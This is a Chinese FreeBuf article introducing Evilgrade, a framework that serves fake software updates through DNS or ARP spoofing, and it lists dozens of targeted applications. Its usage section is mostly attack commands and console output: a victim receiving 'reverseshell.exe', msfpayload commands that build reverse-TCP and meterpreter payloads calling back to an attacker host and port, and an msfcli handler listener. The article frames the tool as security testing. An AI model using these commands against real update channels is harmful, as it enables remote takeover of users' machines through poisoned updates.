freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何使用Evilgrade测试应用程序的升级机制是否安全
2023-02-17 19:47:22
所属地 广西

关于Evilgrade

Evilgrade是一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的更新代码,并利用存在安全问题的更新实现机制来测试目标升级更新功能的安全性。该工具提供了预构建的代理以及支持快速测试的默认工作配置。除此之外,该工具还拥有自己的WebServer和DNSServer模块。

工具使用场景

内部场景

1、内部DNS访问;

2、ARP欺骗;

3、DNS缓存投毒;

4、DHCP欺骗;

5、TCP劫持;

6、Wi-Fi访问点伪造;

外部场景

1、内部DNS访问;

2、DNS缓存投毒;

实现的模块

Freerip 3.30

Jet photo 4.7.2

Teamviewer 5.1.9385

ISOpen 4.5.0

Istat.

Gom 2.1.25.5015

Atube catcher 1.0.300

Vidbox 7.5

Ccleaner 2.30.1130

Fcleaner 1.2.9.409

Allmynotes 1.26

Notepad++ 5.8.2

Java 1.6.0_22 winxp/win7

aMSN 0.98.3

Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)

Mirc 7.14

Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)

Dap 9.5.0.3

Winscp 4.2.9

AutoIt Script 3.3.6.1

Clamwin 0.96.0.1

AppTapp Installer 3.11 (Iphone/Itunes)

getjar (facebook.com)

Google Analytics Javascript injection

Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8

Winamp 5.581

TechTracker (cnet) 1.3.1 (Build 55)

Nokiasoftware firmware update 2.4.8es

Nokia firmware v20.2.011

BSplayer 2.53.1034

Apt ( < Ubuntu 10.04 LTS)

Ubertwitter 4.6 (0.971)

Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45

Cpan 1.9402

VirtualBox (3.2.8 )

Express talk

Filezilla

Flashget

Miranda

Orbit

Photoscape.

Panda Antirootkit

Skype

Sunbelt

Superantispyware

Trillian <= 5.0.0.26

Adium 1.3.10 (Sparkle Framework)

VMware

...

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/infobyte/evilgrade.git

工具使用

下面给出的是工具的帮助信息:

evilgrade>help

Type 'help command' for more detailed help on a command.

  Commands:

    configure -  配置模块名称

    exit      -  退出程序

    help      -  输出工具帮助信息

    reload    -  重新加载并更新所有模块

    restart   -   重启Web服务器

    set       -  配置变量

    show      - 显示对象信息

    start     -  开启Web服务器

    status    -  获取Web服务器窗台

    stop      -  停止Web服务器

    version   -  显示框架版本

 

  Object:

     options  -  显示当前模块的选项

     vhosts   -  显示当前模块的VirtualHosts

     modules  -  列举所有可用的模块

     active   -  显示活动模块

列举实现的模块:

evilgrade>show modules

 

List of modules:

===============

 

...

...

...

 

- 63 modules available.

配置指定模块:

evilgrade>conf sunjava

evilgrade(sunjava)>

开启服务(DNS服务器和WebServer):

evilgrade>start

evilgrade>

[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...

evilgrade>

[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

 

#### Waiting for victims

 

evilgrade>

[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"

evilgrade>

[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"

evilgrade>

[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"

evilgrade>

[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

显示状态和日志:

evilgrade>show status

Webserver (pid 4134) already running

 

Users status:

============

 

.---------------------------------------------------------------------------------------------------------------.

| Client         | Module           | Status | Md5,Cmd,File                                                     |

+----------------+------------------+--------+------------------------------------------------------------------+

| 192.168.233.10 | modules::sunjava | send   | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe"   |

'----------------+------------------+--------+------------------------------------------------------------------'

工具高级使用

使用场景一

evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'

在这种情况下,对于每个所需的更新二进制文件,我们都可以使用 "windows/shell_reverse_tcp"这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141。<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置。

比如说,如果我们运行下列命令:

evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'

那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串"./generatebin -o /tmp/update(random).exe",然后生成不同的代理。

使用场景二

在Evilgrade外运行:

[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe

在Evilgrade内运行:

evilgrade(sunjava)>set agent /tmp/reverse-shell.exe

生成好Payload之后,我们将得到多个处理器Handler来监听之前分配的LHOST:

[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E

[*] Started reverse handler on 192.168.100.2:4444

[*] Starting the payload handler...

项目地址

Evilgrade:【GitHub传送门

参考资料

http://www.faradaysec.com/

# 安全更新 # 系统升级
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录